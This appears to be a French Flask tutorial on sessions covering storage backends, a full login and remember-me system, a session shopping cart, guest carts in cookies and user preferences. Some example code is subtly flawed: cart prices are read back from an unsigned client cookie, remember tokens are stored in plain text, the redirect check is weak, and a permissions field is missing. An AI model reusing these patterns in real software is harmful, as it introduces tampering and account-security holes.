# Lancer avec cron (Linux) ou Task Scheduler (Windows)
# 0 * * * * /path/to/python /path/to/cleanup_script.py


# ----------------------------------------------------------------------------
# [DOSSIER] BACKEND FILESYSTEM (Développement)
# ----------------------------------------------------------------------------

"""
QUAND UTILISER ?

[OK] Développement / Tests
[OK] Pas de Redis/DB disponible
[X] Production (lent, pas scalable)


CONFIGURATION
"""

import os

app.config['SESSION_TYPE'] = 'filesystem'
app.config['SESSION_FILE_DIR'] = '/tmp/flask_sessions'  # Dossier sessions
app.config['SESSION_FILE_THRESHOLD'] = 500  # Max fichiers avant nettoyage
app.config['SESSION_FILE_MODE'] = 0o600  # Permissions (user seulement)
app.config['SESSION_PERMANENT'] = False

Session(app)

# Créer dossier si absent
os.makedirs(app.config['SESSION_FILE_DIR'], exist_ok=True)


"""
STRUCTURE FICHIERS
"""

# /tmp/flask_sessions/
# ├── 2f6c8b3a9d1e
# ├── 4a7b9c2d8e1f
# └── 6c9d1e2f3a4b

# Chaque fichier = une session (pickle)


# ----------------------------------------------------------------------------
# [SYNC] BACKEND MEMCACHED (Alternative Redis)
# ----------------------------------------------------------------------------

"""
QUAND UTILISER ?

[OK] Alternative à Redis
[OK] Très rapide (en mémoire)
[X] Pas de persistence
[X] Moins de features que Redis


CONFIGURATION
"""

# pip install python-memcached

import memcache

app.config['SESSION_TYPE'] = 'memcached'
app.config['SESSION_MEMCACHED'] = memcache.Client(['127.0.0.1:11211'])

Session(app)


# ----------------------------------------------------------------------------
# [SCALES] COMPARAISON DES BACKENDS
# ----------------------------------------------------------------------------

"""
TABLEAU COMPARATIF

┌───────────────┬──────┬──────────┬───────┬────────┬──────────┐
│ Backend       │Vitesse│Persistence│ Scale │ Setup  │ Use Case │
├───────────────┼──────┼──────────┼───────┼────────┼──────────┤
│ Client-side   │ *** │    [X]     │  *** │ Simple │ Petit    │
│ (défaut)      │      │          │       │        │ site     │
├───────────────┼──────┼──────────┼───────┼────────┼──────────┤
│ Redis         │ *** │   **    │  *** │Moyen   │PRODUCTION│
│               │      │(optionel)│       │        │          │
├───────────────┼──────┼──────────┼───────┼────────┼──────────┤
│ Database      │  *  │   ***   │  **  │Simple  │Audit     │
│ (SQLAlchemy)  │      │          │       │        │          │
├───────────────┼──────┼──────────┼───────┼────────┼──────────┤
│ Memcached     │ *** │    [X]     │  *** │Moyen   │Cache     │
├───────────────┼──────┼──────────┼───────┼────────┼──────────┤
│ Filesystem    │  *  │   ***   │   [X]   │Simple  │Dev/Test  │
└───────────────┴──────┴──────────┴───────┴────────┴──────────┘


RECOMMANDATIONS :

Développement local :
-> Client-side (défaut) ou Filesystem

Production petite/moyenne :
-> Redis

Production grande (multi-serveurs) :
-> Redis Cluster

Besoin d'audit/historique :
-> Database (PostgreSQL)

Cache distribué existant :
-> Memcached
"""


# ----------------------------------------------------------------------------
# [DOCS] RÉCAPITULATIF PARTIE 2
# ----------------------------------------------------------------------------

"""
CE QUE VOUS AVEZ APPRIS

Chapitre 4 : Configuration
[OK] Toutes les options de config
[OK] SECRET_KEY sécurisée
[OK] Configuration cookies (HttpOnly, Secure, SameSite)
[OK] Durée de vie et expiration
[OK] Configuration par environnement

Chapitre 5 : Sécurité
[OK] Session Fixation et protection
[OK] Session Hijacking et prévention
[OK] XSS, CSRF et sessions
[OK] Best practices sécurité
[OK] Checklist complète

Chapitre 6 : Cookies Détaillés
[OK] Sessions vs Cookies bruts
[OK] Manipuler cookies manuellement
[OK] Combiner sessions et cookies
[OK] Cas d'usage pratiques
[OK] Debugging

Chapitre 7 : Sessions Serveur
[OK] Limites client-side
[OK] Flask-Session installation
[OK] Backend Redis (production)
[OK] Backend Database
[OK] Backend Filesystem
[OK] Comparaison backends


[CLE] POINTS CLÉS

1. Configuration sécurisée = HttpOnly + Secure + SameSite
2. Redis = Meilleur choix production
3. Database = Pour audit et persistence
4. Régénérer session après login
5. Vérifier empreinte session


-> PROCHAINE ÉTAPE : Partie 3 - Applications Pratiques

Vous allez apprendre :
- Système d'authentification complet
- Panier d'achat e-commerce
- Gestion état utilisateur
- Flash messages avancés

Prêt à pratiquer ! [RAPIDE]
"""

# ============================================================================
# [LIVRE] SESSIONS FLASK - PARTIE 3 : APPLICATIONS PRATIQUES
# ============================================================================
#
# [OBJECTIF] CETTE PARTIE COUVRE :
# - Chapitre 8 : Système d'Authentification Complet
# - Chapitre 9 : Panier d'Achat E-commerce
# - Chapitre 10 : Gestion de l'État Utilisateur
# - Chapitre 11 : Flash Messages et Notifications
# - Chapitre 12 : Formulaires Multi-étapes (Wizards)
#
# [TEMPS] TEMPS : ~4-5 heures
# [DOCS] PRÉREQUIS : Parties 1 et 2 complétées
# ============================================================================


# ============================================================================
# [GUIDE] CHAPITRE 8 : SYSTÈME D'AUTHENTIFICATION COMPLET
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Créer système d'authentification complet avec sessions
[OK] Inscription, connexion, déconnexion
[OK] "Se souvenir de moi" avec cookies
[OK] Réinitialisation de mot de passe
[OK] Protection des routes
[OK] Gestion des permissions
"""


# ----------------------------------------------------------------------------
# [SECURISE] SYSTÈME D'AUTHENTIFICATION BASIQUE
# ----------------------------------------------------------------------------

"""
STRUCTURE DU PROJET
"""

# auth_app/
# ├── app.py
# ├── models.py
# ├── forms.py
# ├── config.py
# └── templates/
#     ├── base.html
#     ├── login.html
#     ├── register.html
#     └── dashboard.html


"""
MODÈLE UTILISATEUR
"""

# models.py
from flask_sqlalchemy import SQLAlchemy
from flask_bcrypt import Bcrypt
from datetime import datetime

db = SQLAlchemy()
bcrypt = Bcrypt()

class User(db.Model):
    """Modèle utilisateur avec gestion sessions"""
    
    __tablename__ = 'users'
    
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password_hash = db.Column(db.String(128), nullable=False)
    
    # Remember Me
    remember_token = db.Column(db.String(100), unique=True)
    remember_token_expires = db.Column(db.DateTime)
    
    # Sécurité
    is_active = db.Column(db.Boolean, default=True)
    is_verified = db.Column(db.Boolean, default=False)
    
    # Métadonnées
    created_at = db.Column(db.DateTime, default=datetime.utcnow)
    last_login = db.Column(db.DateTime)
    login_count = db.Column(db.Integer, default=0)
    
    def set_password(self, password):
        """Hasher le mot de passe avec bcrypt"""
        self.password_hash = bcrypt.generate_password_hash(password).decode('utf-8')
    
    def check_password(self, password):
        """Vérifier le mot de passe"""
        return bcrypt.check_password_hash(self.password_hash, password)
    
    def generate_remember_token(self):
        """Générer token Remember Me"""
        import secrets
        from datetime import timedelta
        
        self.remember_token = secrets.token_urlsafe(32)
        self.remember_token_expires = datetime.utcnow() + timedelta(days=30)
        
        return self.remember_token
    
    def __repr__(self):
        return f'<User {self.username}>'


"""
FORMULAIRES
"""

# forms.py
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField
from wtforms.validators import DataRequired, Email, Length, EqualTo, ValidationError
from models import User

class LoginForm(FlaskForm):
    """Formulaire de connexion"""
    
    username = StringField('Nom d\'utilisateur', validators=[DataRequired()])
    password = PasswordField('Mot de passe', validators=[DataRequired()])
    remember_me = BooleanField('Se souvenir de moi')
    submit = SubmitField('Se connecter')


class RegisterForm(FlaskForm):
    """Formulaire d'inscription"""
    
    username = StringField(
        'Nom d\'utilisateur',
        validators=[
            DataRequired(),
            Length(min=3, max=20, message='Entre 3 et 20 caractères')
        ]
    )
    
    email = StringField(
        'Email',
        validators=[DataRequired(), Email(message='Email invalide')]
    )
    
    password = PasswordField(
        'Mot de passe',
        validators=[
            DataRequired(),
            Length(min=8, message='Minimum 8 caractères')
        ]
    )
    
    password2 = PasswordField(
        'Confirmer le mot de passe',
        validators=[
            DataRequired(),
            EqualTo('password', message='Les mots de passe doivent correspondre')
        ]
    )
    
    submit = SubmitField('S\'inscrire')
    
    def validate_username(self, username):
        """Vérifier que username n'existe pas"""
        user = User.query.filter_by(username=username.data).first()
        if user:
            raise ValidationError('Ce nom d\'utilisateur est déjà pris.')
    
    def validate_email(self, email):
        """Vérifier que email n'existe pas"""
        user = User.query.filter_by(email=email.data).first()
        if user:
            raise ValidationError('Cet email est déjà utilisé.')


"""
ROUTES D'AUTHENTIFICATION
"""

# app.py
from flask import Flask, render_template, redirect, url_for, flash, request, session, make_response
from flask_wtf.csrf import CSRFProtect
from models import db, bcrypt, User
from forms import LoginForm, RegisterForm
from functools import wraps
from datetime import datetime, timedelta
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_hex(32)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///auth.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

# Initialisation
db.init_app(app)
bcrypt.init_app(app)
csrf = CSRFProtect(app)

# Configuration sessions
app.config['SESSION_COOKIE_HTTPONLY'] = True
app.config['SESSION_COOKIE_SECURE'] = False  # True en production
app.config['SESSION_COOKIE_SAMESITE'] = 'Lax'
app.config['PERMANENT_SESSION_LIFETIME'] = timedelta(hours=24)


# ============================================================================
# INSCRIPTION
# ============================================================================

@app.route('/register', methods=['GET', 'POST'])
def register():
    """
    [IDEE] INSCRIPTION UTILISATEUR
    
    1. Vérifier que utilisateur pas déjà connecté
    2. Valider formulaire
    3. Créer utilisateur
    4. Connecter automatiquement (optionnel)
    """
    
    # Si déjà connecté, rediriger
    if 'user_id' in session:
        return redirect(url_for('dashboard'))
    
    form = RegisterForm()
    
    if form.validate_on_submit():
        # Créer nouvel utilisateur
        user = User(
            username=form.username.data,
            email=form.email.data
        )
        user.set_password(form.password.data)
        
        # Sauvegarder en DB
        db.session.add(user)
        db.session.commit()
        
        flash('Compte créé avec succès ! Vous pouvez vous connecter.', 'success')
        return redirect(url_for('login'))
    
    return render_template('register.html', form=form)


# ============================================================================
# CONNEXION
# ============================================================================

@app.route('/login', methods=['GET', 'POST'])
def login():
    """
    [IDEE] CONNEXION UTILISATEUR
    
    1. Vérifier credentials
    2. Créer session
    3. Remember Me (optionnel)
    4. Rediriger vers page demandée ou dashboard
    """
    
    # Si déjà connecté
    if 'user_id' in session:
        return redirect(url_for('dashboard'))
    
    form = LoginForm()
    
    if form.validate_on_submit():
        # Chercher utilisateur
        user = User.query.filter_by(username=form.username.data).first()
        
        # Vérifier password
        if user and user.check_password(form.password.data):
            
            # [OK] CRÉER SESSION
            # Régénérer session (protection Session Fixation)
            session.clear()
            
            # Données de session
            session['user_id'] = user.id
            session['username'] = user.username
            session['email'] = user.email
            
            # Empreinte de sécurité
            session['_ip'] = request.remote_addr
            session['_user_agent'] = request.headers.get('User-Agent')
            
            # Session permanente ou temporaire
            session.permanent = form.remember_me.data
            
            # Métadonnées utilisateur
            user.last_login = datetime.utcnow()
            user.login_count += 1
            
            # [OK] REMEMBER ME
            resp = make_response(redirect(url_for('dashboard')))
            
            if form.remember_me.data:
                # Générer token
                token = user.generate_remember_token()
                
                # Sauvegarder en DB
                db.session.commit()
                
                # Cookie persistant
                resp.set_cookie(
                    'remember_token',
                    token,
                    max_age=60*60*24*30,  # 30 jours
                    httponly=True,
                    secure=False,  # True en production
                    samesite='Lax'
                )
            else:
                db.session.commit()
            
            # Message de succès
            flash(f'Bienvenue {user.username} !', 'success')
            
            # Redirection vers page demandée ou dashboard
            next_page = request.args.get('next')
            if next_page and next_page.startswith('/'):
                return redirect(next_page)
            
            return resp
        
        # Credentials invalides
        flash('Nom d\'utilisateur ou mot de passe incorrect.', 'danger')
    
    return render_template('login.html', form=form)


# ============================================================================
# REMEMBER ME (Auto-login)
# ============================================================================

@app.before_request
def load_user_from_remember_token():
    """
    [IDEE] AUTO-LOGIN DEPUIS REMEMBER TOKEN
    
    Appelé avant chaque requête
    Si pas de session mais remember token valide -> créer session
    """
    
    # Si déjà connecté, rien à faire
    if 'user_id' in session:
        return
    
    # Vérifier cookie remember_token
    remember_token = request.cookies.get('remember_token')
    
    if remember_token:
        # Chercher utilisateur avec ce token
        user = User.query.filter_by(remember_token=remember_token).first()
        
        # Vérifier token valide et non expiré
        if user and user.remember_token_expires > datetime.utcnow():
            # [OK] Créer session automatiquement
            session['user_id'] = user.id
            session['username'] = user.username
            session['email'] = user.email
            session['_ip'] = request.remote_addr
            session['_user_agent'] = request.headers.get('User-Agent')
            session.permanent = True
            
            # Mettre à jour last_login
            user.last_login = datetime.utcnow()
            db.session.commit()


# ============================================================================
# DÉCONNEXION
# ============================================================================

@app.route('/logout')
def logout():
    """
    [IDEE] DÉCONNEXION
    
    1. Supprimer session
    2. Supprimer remember token (cookie et DB)
    3. Rediriger vers accueil
    """
    
    # Supprimer remember token de DB
    if 'user_id' in session:
        user = User.query.get(session['user_id'])
        if user:
            user.remember_token = None
            user.remember_token_expires = None
            db.session.commit()
    
    # Supprimer session
    session.clear()
    
    # Supprimer cookie remember
    resp = make_response(redirect(url_for('index')))
    resp.set_cookie('remember_token', '', expires=0)
    
    flash('Vous avez été déconnecté.', 'info')
    
    return resp


# ============================================================================
# PROTECTION DES ROUTES
# ============================================================================

def login_required(f):
    """
    [IDEE] DÉCORATEUR POUR ROUTES PROTÉGÉES
    
    Vérifie que utilisateur est connecté
    Sinon redirige vers login avec next parameter
    """
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('Veuillez vous connecter pour accéder à cette page.', 'warning')
            return redirect(url_for('login', next=request.url))
        return f(*args, **kwargs)
    return decorated_function


@app.route('/dashboard')
@login_required
def dashboard():
    """
    [IDEE] ROUTE PROTÉGÉE
    
    Accessible seulement si connecté
    """
    
    user = User.query.get(session['user_id'])
    
    return render_template('dashboard.html', user=user)


@app.route('/profile')
@login_required
def profile():
    """Profil utilisateur"""
    
    user = User.query.get(session['user_id'])
    
    return render_template('profile.html', user=user)


# ============================================================================
# VÉRIFICATION SÉCURITÉ SESSION
# ============================================================================

@app.before_request
def verify_session_security():
    """
    [IDEE] VÉRIFIER EMPREINTE SESSION
    
    Protection contre Session Hijacking
    """
    
    if 'user_id' in session:
        # Vérifier IP (optionnel, problème avec proxies/VPN)
        stored_ip = session.get('_ip')
        current_ip = request.remote_addr
        
        if stored_ip and stored_ip != current_ip:
            # IP changée -> potentiel hijacking
            session.clear()
            flash('Session invalide, veuillez vous reconnecter.', 'danger')
            return redirect(url_for('login'))
        
        # Vérifier User-Agent
        stored_ua = session.get('_user_agent')
        current_ua = request.headers.get('User-Agent')
        
        if stored_ua and stored_ua != current_ua:
            session.clear()
            flash('Session invalide, veuillez vous reconnecter.', 'danger')
            return redirect(url_for('login'))


# ============================================================================
# TIMEOUT D'INACTIVITÉ
# ============================================================================

@app.before_request
def check_session_timeout():
    """
    [IDEE] TIMEOUT D'INACTIVITÉ
    
    Déconnecter après X minutes d'inactivité
    """
    
    if 'user_id' in session:
        last_activity = session.get('_last_activity')
        
        if last_activity:
            last = datetime.fromisoformat(last_activity)
            now = datetime.utcnow()
            
            # Timeout 30 minutes
            if (now - last).seconds > 1800:
                session.clear()
                flash('Session expirée par inactivité.', 'info')
                return redirect(url_for('login'))
        
        # Mettre à jour
        session['_last_activity'] = datetime.utcnow().isoformat()


# ============================================================================
# GESTION DES PERMISSIONS
# ============================================================================

class Permission:
    """Permissions utilisateur"""
    VIEW = 1
    EDIT = 2
    DELETE = 4
    ADMIN = 8


def permission_required(permission):
    """Décorateur pour vérifier permissions"""
    def decorator(f):
        @wraps(f)
        @login_required
        def decorated_function(*args, **kwargs):
            user = User.query.get(session['user_id'])
            
            if not user.has_permission(permission):
                flash('Permission insuffisante.', 'danger')
                return redirect(url_for('dashboard'))
            
            return f(*args, **kwargs)
        return decorated_function
    return decorator


# Ajouter à User model
def has_permission(self, permission):
    """Vérifier si user a permission"""
    return (self.permissions & permission) == permission

User.has_permission = has_permission


# Utilisation
@app.route('/admin')
@permission_required(Permission.ADMIN)
def admin_panel():
    """Panneau admin (nécessite permission ADMIN)"""
    return render_template('admin.html')


# ============================================================================
# [GUIDE] CHAPITRE 9 : PANIER D'ACHAT E-COMMERCE
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Créer panier d'achat complet avec sessions
[OK] Gérer quantités et variations
[OK] Calculer totaux et taxes
[OK] Panier guest vs panier utilisateur
[OK] Fusionner paniers à la connexion
[OK] Persister panier avec cookies
"""


# ----------------------------------------------------------------------------
# [SHOPPING_TROLLEY] STRUCTURE DU PANIER
# ----------------------------------------------------------------------------

"""
MODÈLES
"""

# models.py (suite)

class Product(db.Model):
    """Modèle produit"""
    
    __tablename__ = 'products'
    
    id = db.Column(db.Integer, primary_key=True)
    name = db.Column(db.String(200), nullable=False)
    description = db.Column(db.Text)
    price = db.Column(db.Numeric(10, 2), nullable=False)
    image_url = db.Column(db.String(500))
    stock = db.Column(db.Integer, default=0)
    is_active = db.Column(db.Boolean, default=True)
    
    def __repr__(self):
        return f'<Product {self.name}>'


"""
CLASSE PANIER
"""

# cart.py

class Cart:
    """
    [IDEE] CLASSE PANIER
    
    Gère logique du panier stocké en session
    """
    
    def __init__(self, session):
        """Initialiser depuis session"""
        self.session = session
        
        # Récupérer ou créer panier
        cart = session.get('cart')
        
        if not cart:
            # Nouveau panier
            cart = session['cart'] = {
                'items': {},  # {product_id: {quantity, price, ...}}
                'total': 0,
                'item_count': 0
            }
        
        self.cart = cart
    
    def add(self, product, quantity=1):
        """
        Ajouter produit au panier
        
        Args:
            product: Objet Product
            quantity: Quantité à ajouter
        """
        product_id = str(product.id)
        
        if product_id in self.cart['items']:
            # Produit déjà dans panier -> augmenter quantité
            self.cart['items'][product_id]['quantity'] += quantity
        else:
            # Nouveau produit
            self.cart['items'][product_id] = {
                'product_id': product.id,
                'name': product.name,
                'price': float(product.price),
                'quantity': quantity,
                'image_url': product.image_url
            }
        
        self._update_totals()
        self._save()
    
    def remove(self, product_id):
        """Retirer produit complètement"""
        product_id = str(product_id)
        
        if product_id in self.cart['items']:
            del self.cart['items'][product_id]
            self._update_totals()
            self._save()
    
    def update_quantity(self, product_id, quantity):
        """Mettre à jour quantité"""
        product_id = str(product_id)
        
        if quantity <= 0:
            self.remove(product_id)
        elif product_id in self.cart['items']:
            self.cart['items'][product_id]['quantity'] = quantity
            self._update_totals()
            self._save()
    
    def clear(self):
        """Vider le panier"""
        self.cart = {
            'items': {},
            'total': 0,
            'item_count': 0
        }
        self._save()
    
    def get_total(self):
        """Obtenir total"""
        return self.cart['total']
    
    def get_item_count(self):
        """Obtenir nombre d'articles"""
        return self.cart['item_count']
    
    def get_items(self):
        """Obtenir tous les articles"""
        return self.cart['items'].values()
    
    def _update_totals(self):
        """Recalculer totaux"""
        total = 0
        item_count = 0
        
        for item in self.cart['items'].values():
            item_total = item['price'] * item['quantity']
            total += item_total
            item_count += item['quantity']
        
        self.cart['total'] = round(total, 2)
        self.cart['item_count'] = item_count
    
    def _save(self):
        """Sauvegarder dans session"""
        self.session['cart'] = self.cart
        self.session.modified = True


"""
ROUTES PANIER
"""

# app.py (suite)

from cart import Cart

@app.route('/cart')
def view_cart():
    """Afficher panier"""
    
    cart = Cart(session)
    
    return render_template('cart.html', 
                         cart=cart,
                         items=cart.get_items(),
                         total=cart.get_total())


@app.route('/cart/add/<int:product_id>', methods=['POST'])
def add_to_cart(product_id):
    """
    [IDEE] AJOUTER AU PANIER
    
    POST /cart/add/123
    Body: quantity=2
    """
    
    product = Product.query.get_or_404(product_id)
    
    # Vérifier stock
    if product.stock <= 0:
        flash('Produit en rupture de stock.', 'warning')
        return redirect(url_for('product_detail', product_id=product_id))
    
    # Quantité demandée
    quantity = request.form.get('quantity', 1, type=int)
    
    if quantity <= 0:
        flash('Quantité invalide.', 'danger')
        return redirect(url_for('product_detail', product_id=product_id))
    
    # Vérifier stock suffisant
    cart = Cart(session)
    current_qty = 0
    
    if str(product_id) in cart.cart['items']:
        current_qty = cart.cart['items'][str(product_id)]['quantity']
    
    if current_qty + quantity > product.stock:
        flash(f'Stock insuffisant (disponible: {product.stock}).', 'warning')
        return redirect(url_for('product_detail', product_id=product_id))
    
    # Ajouter au panier
    cart.add(product, quantity)
    
    flash(f'{product.name} ajouté au panier.', 'success')
    
    return redirect(url_for('view_cart'))


@app.route('/cart/update/<int:product_id>', methods=['POST'])
def update_cart(product_id):
    """Mettre à jour quantité"""
    
    quantity = request.form.get('quantity', 0, type=int)
    
    cart = Cart(session)
    cart.update_quantity(product_id, quantity)
    
    flash('Panier mis à jour.', 'success')
    
    return redirect(url_for('view_cart'))


@app.route('/cart/remove/<int:product_id>')
def remove_from_cart(product_id):
    """Retirer du panier"""
    
    cart = Cart(session)
    cart.remove(product_id)
    
    flash('Produit retiré du panier.', 'info')
    
    return redirect(url_for('view_cart'))


@app.route('/cart/clear')
def clear_cart():
    """Vider panier"""
    
    cart = Cart(session)
    cart.clear()
    
    flash('Panier vidé.', 'info')
    
    return redirect(url_for('view_cart'))


# ============================================================================
# PANIER GUEST vs UTILISATEUR CONNECTÉ
# ============================================================================

"""
PERSISTER PANIER GUEST AVEC COOKIE
"""

@app.after_request
def save_guest_cart(response):
    """
    [IDEE] SAUVEGARDER PANIER GUEST DANS COOKIE
    
    Si utilisateur non connecté, sauvegarder panier dans cookie
    Pour le retrouver même après fermeture navigateur
    """
    
    # Seulement si non connecté
    if 'user_id' not in session and 'cart' in session:
        import json
        
        cart_data = session['cart']
        
        # Sérialiser en JSON
        cart_json = json.dumps(cart_data)
        
        # Cookie persistent (30 jours)
        response.set_cookie(
            'guest_cart',
            cart_json,
            max_age=60*60*24*30,
            httponly=True
        )
    
    return response


@app.before_request
def load_guest_cart():
    """
    [IDEE] CHARGER PANIER GUEST DEPUIS COOKIE
    
    Si pas de panier en session mais cookie guest_cart existe
    """
    
    if 'cart' not in session and 'user_id' not in session:
        guest_cart = request.cookies.get('guest_cart')
        
        if guest_cart:
            import json
            try:
                cart_data = json.loads(guest_cart)
                session['cart'] = cart_data
            except:
                pass


"""
FUSIONNER PANIERS À LA CONNEXION
"""

@app.route('/login', methods=['POST'])
def login_with_cart_merge():
    """Login avec fusion des paniers"""
    
    # ... authentification ...
    
    if user and user.check_password(password):
        
        # [OK] FUSIONNER PANIER GUEST DANS SESSION
        
        # Panier guest (cookie)
        guest_cart_cookie = request.cookies.get('guest_cart')
        
        # Panier session actuel
        current_cart = Cart(session)
        
        if guest_cart_cookie:
            import json
            try:
                guest_cart_data = json.loads(guest_cart_cookie)
                
                # Fusionner les items
                for product_id, item in guest_cart_data['items'].items():
                    product = Product.query.get(int(product_id))
                    if product:
                        current_cart.add(product, item['quantity'])
                
            except:
                pass
        
        # Créer session
        session['user_id'] = user.id
        
        # Réponse avec suppression cookie guest
        resp = make_response(redirect(url_for('dashboard')))
        resp.set_cookie('guest_cart', '', expires=0)
        
        flash(f'Bienvenue {user.username} ! Votre panier a été conservé.', 'success')
        
        return resp


# Ce fichier continue dans session_partie3_suite.txt...

# ============================================================================
# [LIVRE] SESSIONS FLASK - PARTIE 3 (SUITE) : ÉTAT ET NOTIFICATIONS
# ============================================================================

# Suite des applications pratiques


# ============================================================================
# [GUIDE] CHAPITRE 10 : GESTION DE L'ÉTAT UTILISATEUR
# ============================================================================

"""
[OBJECTIF] OBJECTIFS D'APPRENTISSAGE

À la fin de ce chapitre, vous saurez :
[OK] Tracker l'état de navigation
[OK] Gérer préférences utilisateur
[OK] Implémenter historique de navigation
[OK] Sauvegarder état de formulaires
[OK] Gérer langue et thème
"""


# ----------------------------------------------------------------------------
# [DESIGN] PRÉFÉRENCES UTILISATEUR
# ----------------------------------------------------------------------------

"""
SYSTÈME DE PRÉFÉRENCES COMPLET
"""

# preferences.py

class UserPreferences:
    """
    [IDEE] GESTIONNAIRE DE PRÉFÉRENCES
    
    Stocke et gère préférences utilisateur en session
    """
    
    DEFAULT_PREFS = {
        'language': 'fr',
        'theme': 'light',
        'items_per_page': 20,
        'notifications': {
            'email': True,
            'push': False,
            'sms': False
        },
        'privacy': {
            'show_email': False,
            'show_profile': True
        }
    }
    
    def __init__(self, session):
        """Initialiser depuis session"""
        self.session = session
        
        if 'preferences' not in session:
            session['preferences'] = self.DEFAULT_PREFS.copy()
        
        self.prefs = session['preferences']
    
    def get(self, key, default=None):
        """Obtenir préférence"""
        keys = key.split('.')
        value = self.prefs
        
        for k in keys:
            if isinstance(value, dict):
                value = value.get(k)
            else:
                return default
        
        return value if value is not None else default
    
    def set(self, key, value):
        """Définir préférence"""
        keys = key.split('.')
        
        # Naviguer jusqu'au dernier niveau
        target = self.prefs
        for k in keys[:-1]:
            if k not in target:
                target[k] = {}
            target = target[k]
        
        # Définir valeur
        target[keys[-1]] = value
        
        # Sauvegarder
        self.session['preferences'] = self.prefs
        self.session.modified = True
    
    def reset(self):
        """Réinitialiser aux valeurs par défaut"""
        self.prefs = self.DEFAULT_PREFS.copy()
        self.session['preferences'] = self.prefs
        self.session.modified = True
    
    def to_dict(self):
        """Obtenir toutes les préférences"""
        return self.prefs.copy()


"""
ROUTES PRÉFÉRENCES
"""

from preferences import UserPreferences

@app.route('/preferences', methods=['GET', 'POST'])
@login_required
def user_preferences():
    """Gérer préférences utilisateur"""
    
    prefs = UserPreferences(session)
    
    if request.method == 'POST':
        # Mettre à jour préférences
        prefs.set('language', request.form.get('language', 'fr'))
        prefs.set('theme', request.form.get('theme', 'light'))
        prefs.set('items_per_page', int(request.form.get('items_per_page', 20)))
        
        # Notifications
        prefs.set('notifications.email', 'email_notif' in request.form)
        prefs.set('notifications.push', 'push_notif' in request.form)
        
        flash('Préférences mises à jour.', 'success')
        return redirect(url_for('user_preferences'))
    
    return render_template('preferences.html', prefs=prefs.to_dict())


"""
UTILISER PRÉFÉRENCES DANS L'APPLICATION
"""

@app.before_request
def load_user_preferences():
    """Charger préférences avant chaque requête"""
    
    prefs = UserPreferences(session)
    
    # Rendre disponible globalement
    g.language = prefs.get('language', 'fr')
    g.theme = prefs.get('theme', 'light')


# Template utilise g.theme
"""
<!DOCTYPE html>
<html data-theme="{{ g.theme }}">
<head>
    <title>Mon App</title>
</head>
<body>
    ...
</body>
</html>
"""


# ----------------------------------------------------------------------------
# [IMPORTANT] HISTORIQUE DE NAVIGATION
# ----------------------------------------------------------------------------

"""
TRACKER PAGES VISITÉES
"""

@app.before_request
def track_navigation():
    """
    [IDEE] TRACKER HISTORIQUE DE NAVIGATION
    
    Enregistre les pages visitées pour :
    - Breadcrumbs
    - "Retour à la page précédente"
    - Recommandations
    """
    
    # Ignorer certaines routes
    if request.endpoint in ['static', 'logout', 'api']:
        return
    
    # Initialiser historique
    if 'navigation_history' not in session:
        session['navigation_history'] = []
    
    history = session['navigation_history']
    
    # Ajouter page actuelle
    current_page = {
        'url': request.url,
        'path': request.path,
        'endpoint': request.endpoint,
        'timestamp': datetime.utcnow().isoformat()
    }
    
    # Éviter doublons consécutifs
    if not history or history[-1]['path'] != current_page['path']:
        history.append(current_page)
    
    # Limiter taille historique (max 20 pages)
    if len(history) > 20:
        history.pop(0)
    
    session['navigation_history'] = history
    session.modified = True


@app.route('/history')
@login_required
def view_history():
    """Afficher historique navigation"""
    
    history = session.get('navigation_history', [])
    
    return render_template('history.html', history=history)


@app.route('/back')
def go_back():
    """Retour à la page précédente"""
    
    history = session.get('navigation_history', [])
    
    if len(history) >= 2:
        # Avant-dernière page
        previous_page = history[-2]
        return redirect(previous_page['url'])
    
    return redirect(url_for('index'))


"""
BREADCRUMBS AUTOMATIQUES
"""

def get_breadcrumbs():
    """Générer breadcrumbs depuis historique"""
    
    history = session.get('navigation_history', [])
    
    breadcrumbs = []
    
    # Prendre les 5 dernières pages
    for page in history[-5:]:
        breadcrumbs.append({
            'title': page['endpoint'].replace('_', ' ').title(),
            'url': page['url']
        })
    
    return breadcrumbs

# Rendre disponible dans templates
@app.context_processor
def inject_breadcrumbs():
    return {'breadcrumbs': get_breadcrumbs()}


# ----------------------------------------------------------------------------
# [SAUVEGARDE] SAUVEGARDER ÉTAT DE FORMULAIRES
# ----------------------------------------------------------------------------

"""
AUTO-SAVE FORMULAIRE
"""

@app.route('/draft/save', methods=['POST'])
def save_draft():
    """
    [IDEE] SAUVEGARDER BROUILLON DE FORMULAIRE
    
    Sauvegarde automatique pendant que l'utilisateur tape
    """
    
    form_id = request.form.get('form_id')
    form_data = request.form.to_dict()
    
    # Initialiser drafts
    if 'drafts' not in session:
        session['drafts'] = {}
    
    # Sauvegarder
    session['drafts'][form_id] = {
        'data': form_data,
        'timestamp': datetime.utcnow().isoformat()
    }
    
    session.modified = True
    
    return jsonify({'status': 'saved'})


@app.route('/post/create', methods=['GET', 'POST'])
@login_required
def create_post():
    """Créer post avec auto-save"""
    
    if request.method == 'POST':
        # Traiter formulaire
        title = request.form['title']
        content = request.form['content']
        
        # Créer post
        # ...
        
        # Supprimer brouillon
        if 'drafts' in session and 'create_post' in session['drafts']:
            del session['drafts']['create_post']
            session.modified = True
        
        flash('Post créé !', 'success')
        return redirect(url_for('dashboard'))
    
    # Charger brouillon si existe
    draft_data = {}
    if 'drafts' in session and 'create_post' in session['drafts']:
        draft_data = session['drafts']['create_post']['data']
    
    return render_template('create_post.html', draft=draft_data)


"""
Template avec auto-save (JavaScript)
"""

# templates/create_post.html
"""
<form method="POST" id="createPostForm">
    {{ form.hidden_tag() }}
    
    <input type="text" name="title" value="{{ draft.get('title', '') }}" 
           placeholder="Titre">
    
    <textarea name="content" placeholder="Contenu">{{ draft.get('content', '') }}</textarea>
    
    <button type="submit">Publier</button>
</form>

<script>
// Auto-save toutes les 30 secondes
setInterval(function() {
    const formData = new FormData(document.getElementById('createPostForm'));
    formData.append('form_id', 'create_post');
    
